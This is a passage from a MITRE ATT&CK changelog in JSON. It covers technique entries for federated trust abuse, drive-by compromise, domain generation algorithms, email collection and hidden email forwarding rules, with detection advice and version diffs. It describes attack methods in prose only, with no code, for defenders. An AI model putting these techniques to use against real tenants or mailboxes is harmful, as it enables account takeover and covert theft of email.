adversary may also add a new federated identity provider to an identity tenant such as Okta, which may enable the adversary to authenticate as any user of the tenant.(Citation: Okta Cross-Tenant Impersonation 2023)\\n+An adversary may also add a new federated identity provider to an identity tenant such as Okta or AWS IAM Identity Center, which may enable the adversary to authenticate as any user of the tenant.(Citation: Okta Cross-Tenant Impersonation 2023) This may enable the threat actor to gain broad access into a variety of cloud-based services that leverage the identity tenant. For example, in AWS environments, an adversary that creates a new identity provider for an AWS Organization will be able to federate into all of the AWS Organization member accounts without creating identities for each of the member accounts.(Citation: AWS RE:Inforce Threat Detection 2024)\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.1\", \"old_value\": \"2.0\"}, \"root['x_mitre_platforms'][1]\": {\"new_value\": \"Identity Provider\", \"old_value\": \"Azure AD\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"AWS RE:Inforce Threat Detection 2024\", \"description\": \"Ben Fletcher and Steve de Vera. (2024, June). New tactics and techniques for proactive threat detection. Retrieved September 25, 2024.\", \"url\": \"https://reinforce.awsevents.com/content/dam/reinforce/2024/slides/TDR432_New-tactics-and-techniques-for-proactive-threat-detection.pdf\"}}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][2]\": \"SaaS\"}}", + "previous_version": "2.0", + "version_change": "2.0 \u2192 2.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may add new domain trusts, modify the propertiest1Adversaries may add new domain trusts, modify the properties
> of existing domain trusts, or otherwise change the configur> of existing domain trusts, or otherwise change the configur
>ation of trust relationships between domains and tenants to >ation of trust relationships between domains and tenants to 
>evade defenses and/or elevate privileges.Trust details, such>evade defenses and/or elevate privileges.Trust details, such
> as whether or not user identities are federated, allow auth> as whether or not user identities are federated, allow auth
>entication and authorization properties to apply between dom>entication and authorization properties to apply between dom
>ains or tenants for the purpose of accessing shared resource>ains or tenants for the purpose of accessing shared resource
>s.(Citation: Microsoft - Azure AD Federation) These trust ob>s.(Citation: Microsoft - Azure AD Federation) These trust ob
>jects may include accounts, credentials, and other authentic>jects may include accounts, credentials, and other authentic
>ation material applied to servers, tokens, and domains.  Man>ation material applied to servers, tokens, and domains.  Man
>ipulating these trusts may allow an adversary to escalate pr>ipulating these trusts may allow an adversary to escalate pr
>ivileges and/or evade defenses by modifying settings to add >ivileges and/or evade defenses by modifying settings to add 
>objects which they control. For example, in Microsoft Active>objects which they control. For example, in Microsoft Active
> Directory (AD) environments, this may be used to forge [SAM> Directory (AD) environments, this may be used to forge [SAM
>L Tokens](https://attack.mitre.org/techniques/T1606/002) wit>L Tokens](https://attack.mitre.org/techniques/T1606/002) wit
>hout the need to compromise the signing certificate to forge>hout the need to compromise the signing certificate to forge
> new credentials. Instead, an adversary can manipulate domai> new credentials. Instead, an adversary can manipulate domai
>n trusts to add their own signing certificate. An adversary >n trusts to add their own signing certificate. An adversary 
>may also convert an AD domain to a federated domain using Ac>may also convert an AD domain to a federated domain using Ac
>tive Directory Federation Services (AD FS), which may enable>tive Directory Federation Services (AD FS), which may enable
> malicious trust modifications such as altering the claim is> malicious trust modifications such as altering the claim is
>suance rules to log in any valid set of credentials as a spe>suance rules to log in any valid set of credentials as a spe
>cified user.(Citation: AADInternals zure AD Federated Domain>cified user.(Citation: AADInternals zure AD Federated Domain
>)   An adversary may also add a new federated identity provi>)   An adversary may also add a new federated identity provi
>der to an identity tenant such as Okta, which may enable the>der to an identity tenant such as Okta or AWS IAM Identity C
> adversary to authenticate as any user of the tenant.(Citati>enter, which may enable the adversary to authenticate as any
>on: Okta Cross-Tenant Impersonation 2023)> user of the tenant.(Citation: Okta Cross-Tenant Impersonati
 >on 2023) This may enable the threat actor to gain broad acce
 >ss into a variety of cloud-based services that leverage the 
 >identity tenant. For example, in AWS environments, an advers
 >ary that creates a new identity provider for an AWS Organiza
 >tion will be able to federate into all of the AWS Organizati
 >on member accounts without creating identities for each of t
 >he member accounts.(Citation: AWS RE:Inforce Threat Detectio
 >n 2024)
", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management" + ], + "new": [ + "M1018: User Account Management" + ], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0026: Active Directory (Active Directory Object Creation)", + "DS0026: Active Directory (Active Directory Object Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2024-10-15 15:55:47.494000+00:00", + "name": "Drive-by Compromise", + "description": "Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001).\n\nMultiple ways of delivering exploit code to a browser exist (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)), including:\n\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting\n* Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary\n* Malicious ads are paid for and served through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008))\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n * In some cases a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\n\nAdversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1189", + "external_id": "T1189" + }, + { + "source_name": "Shadowserver Strategic Web Compromise", + "description": "Adair, S., Moran, N. (2012, May 15). Cyber Espionage & Strategic Web Compromises \u2013 Trusted Websites Serving Dangerous Results. Retrieved March 13, 2018.", + "url": "http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/" + }, + { + "source_name": "Volexity OceanLotus Nov 2017", + "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.", + "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)", + "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)" + ], + "x_mitre_data_sources": [ + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content", + "Process: Process Creation", + "File: File Creation", + "Network Traffic: Network Connection Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.\n\nNetwork intrusion detection systems, sometimes with SSL/TLS inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.\n\nDetecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS", + "Identity Provider" + ], + "x_mitre_version": "1.6", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:55:47.494000+00:00\", \"old_value\": \"2023-04-14 23:58:45.490000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.6\", \"old_value\": \"1.5\"}, \"root['x_mitre_platforms'][3]\": {\"new_value\": \"Identity Provider\", \"old_value\": \"SaaS\"}}}", + "previous_version": "1.5", + "version_change": "1.5 \u2192 1.6", + "changelog_mitigations": { + "shared": [ + "M1021: Restrict Web-Based Content", + "M1048: Application Isolation and Sandboxing", + "M1050: Exploit Protection", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0015: Application Log (Application Log Content)", + "DS0022: File (File Creation)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-10 17:44:59.787000+00:00", + "modified": "2024-10-15 15:55:16.111000+00:00", + "name": "Domain Generation Algorithms", + "description": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or \u201cgibberish\u201d strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1568/002", + "external_id": "T1568.002" + }, + { + "source_name": "Elastic Predicting DGA", + "description": "Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019.", + "url": "https://arxiv.org/pdf/1611.00791.pdf" + }, + { + "source_name": "Talos CCleanup 2017", + "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.", + "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html" + }, + { + "source_name": "Pace University Detecting DGA May 2017", + "description": "Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019.", + "url": "http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf" + }, + { + "source_name": "FireEye POSHSPY April 2017", + "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html" + }, + { + "source_name": "ESET Sednit 2017 Activity", + "description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.", + "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/" + }, + { + "source_name": "Data Driven Security DGA", + "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.", + "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/" + }, + { + "source_name": "Akamai DGA Mitigation", + "description": "Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.", + "url": "https://medium.com/@yvyuz/a-death-match-of-domain-generation-algorithms-a5b5dbdc1c6e" + }, + { + "source_name": "Cisco Umbrella DGA", + "description": "Scarfo, A. (2016, October 10). Domain Generation Algorithms \u2013 Why so effective?. Retrieved February 18, 2019.", + "url": "https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/" + }, + { + "source_name": "Cybereason Dissecting DGAs", + "description": "Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019.", + "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf" + }, + { + "source_name": "Unit 42 DGA Feb 2019", + "description": "Unit 42. (2019, February 7). Threat Brief: Understanding Domain Generation Algorithms (DGA). Retrieved February 19, 2019.", + "url": "https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Ryan Benson, Exabeam", + "Barry Shteiman, Exabeam", + "Sylvain Gil, Exabeam" + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.\n\nMachine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"User\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:55:16.111000+00:00\", \"old_value\": \"2022-03-11 18:26:23.432000+00:00\"}, \"root['external_references'][5]['url']\": {\"new_value\": \"https://medium.com/@yvyuz/a-death-match-of-domain-generation-algorithms-a5b5dbdc1c6e\", \"old_value\": \"https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html\", \"new_path\": \"root['external_references'][7]['url']\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "changelog_mitigations": { + "shared": [ + "M1021: Restrict Web-Based Content", + "M1031: Network Intrusion Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:25.454000+00:00", + "modified": "2024-10-15 12:24:27.627000+00:00", + "name": "Email Collection", + "description": "Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Emails may also contain details of ongoing incident response operations, which may allow adversaries to adjust their techniques in order to maintain persistence or evade defenses.(Citation: TrustedSec OOB Communications)(Citation: CISA AA20-352A 2021) Adversaries can collect or forward email from mail servers or clients. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1114", + "external_id": "T1114" + }, + { + "source_name": "CISA AA20-352A 2021", + "description": "CISA. (2021, April 15). Advanced Persistent Threat Compromise of Government Agencies, Critical Infrastructure, and Private Sector Organizations. Retrieved August 30, 2024.", + "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-352a" + }, + { + "source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2", + "description": "McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.", + "url": "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/" + }, + { + "source_name": "TrustedSec OOB Communications", + "description": "Tyler Hudak. (2022, December 29). To OOB, or Not to OOB?: Why Out-of-Band Communications are Essential for Incident Response. Retrieved August 30, 2024.", + "url": "https://trustedsec.com/blog/to-oob-or-not-to-oob-why-out-of-band-communications-are-essential-for-incident-response" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)", + "Menachem Goldstein" + ], + "x_mitre_data_sources": [ + "Logon Session: Logon Session Creation", + "Application Log: Application Log Content", + "Network Traffic: Network Connection Creation", + "File: File Access", + "Command: Command Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\n\nFile access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.\n\nMonitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nDetection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account.\n\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include X-MS-Exchange-Organization-AutoForwarded set to true, X-MailFwdBy and X-Forwarded-To. The forwardingSMTPAddress parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the X-MS-Exchange-Organization-AutoForwarded header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux", + "Office Suite" + ], + "x_mitre_version": "2.6", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 12:24:27.627000+00:00\", \"old_value\": \"2023-09-29 21:06:03.098000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Emails may also contain details of ongoing incident response operations, which may allow adversaries to adjust their techniques in order to maintain persistence or evade defenses.(Citation: TrustedSec OOB Communications)(Citation: CISA AA20-352A 2021) Adversaries can collect or forward email from mail servers or clients. \", \"old_value\": \"Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients. \"}, \"root['x_mitre_version']\": {\"new_value\": \"2.6\", \"old_value\": \"2.5\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"CISA AA20-352A 2021\", \"description\": \"CISA. (2021, April 15). Advanced Persistent Threat Compromise of Government Agencies, Critical Infrastructure, and Private Sector Organizations. Retrieved August 30, 2024.\", \"url\": \"https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-352a\"}, \"root['external_references'][3]\": {\"source_name\": \"TrustedSec OOB Communications\", \"description\": \"Tyler Hudak. (2022, December 29). To OOB, or Not to OOB?: Why Out-of-Band Communications are Essential for Incident Response. Retrieved August 30, 2024.\", \"url\": \"https://trustedsec.com/blog/to-oob-or-not-to-oob-why-out-of-band-communications-are-essential-for-incident-response\"}, \"root['x_mitre_contributors'][1]\": \"Menachem Goldstein\", \"root['x_mitre_platforms'][3]\": \"Office Suite\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][1]\": \"Office 365\", \"root['x_mitre_platforms'][2]\": \"Google Workspace\"}}", + "previous_version": "2.5", + "version_change": "2.5 \u2192 2.6", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may target user email to collect sensitive infort1Adversaries may target user email to collect sensitive infor
>mation. Emails may contain sensitive data, including trade s>mation. Emails may contain sensitive data, including trade s
>ecrets or personal information, that can prove valuable to a>ecrets or personal information, that can prove valuable to a
>dversaries. Adversaries can collect or forward email from ma>dversaries. Emails may also contain details of ongoing incid
>il servers or clients. >ent response operations, which may allow adversaries to adju
 >st their techniques in order to maintain persistence or evad
 >e defenses.(Citation: TrustedSec OOB Communications)(Citatio
 >n: CISA AA20-352A 2021) Adversaries can collect or forward e
 >mail from mail servers or clients. 
", + "changelog_mitigations": { + "shared": [ + "M1032: Multi-factor Authentication", + "M1041: Encrypt Sensitive Information", + "M1047: Audit" + ], + "new": [ + "M1060: Out-of-Band Communications Channel" + ], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0028: Logon Session (Logon Session Creation)", + "DS0029: Network Traffic (Network Connection Creation)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-19 18:54:47.103000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "Email Forwarding Rule", + "description": "Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim\u2019s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)\n\nIn some environments, administrators may be able to enable email forwarding rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to enable forwarding on all or specific mail an organization receives. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1114/003", + "external_id": "T1114.003" + }, + { + "source_name": "Mac Forwarding Rules", + "description": "Apple. (n.d.). Reply to, forward, or redirect emails in Mail on Mac. Retrieved June 22, 2021.", + "url": "https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac" + }, + { + "source_name": "Pfammatter - Hidden Inbox Rules", + "description": "Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.", + "url": "https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/" + }, + { + "source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2", + "description": "McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.", + "url": "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/" + }, + { + "source_name": "Microsoft Mail Flow Rules 2023", + "description": "Microsoft. (2023, February 22). Mail flow rules (transport rules) in Exchange Online. Retrieved March 13, 2023.", + "url": "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules" + }, + { + "source_name": "US-CERT TA18-068A 2018", + "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Microsoft Security", + "Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)", + "Liran Ravich, CardinalOps", + "Arun Seelagan, CISA" + ], + "x_mitre_data_sources": [ + "Command: Command Execution", + "Application Log: Application Log Content", + "Cloud Service: Cloud Service Metadata" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. This is especially true in cases with hidden auto-forwarding rules. This makes it only possible to reliably detect the existence of a hidden auto-forwarding rule by examining message tracking logs or by using a MAPI editor to notice the modified rule property values.(Citation: Pfammatter - Hidden Inbox Rules)\n\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux", + "Office Suite" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2023-04-12 20:47:47.583000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": 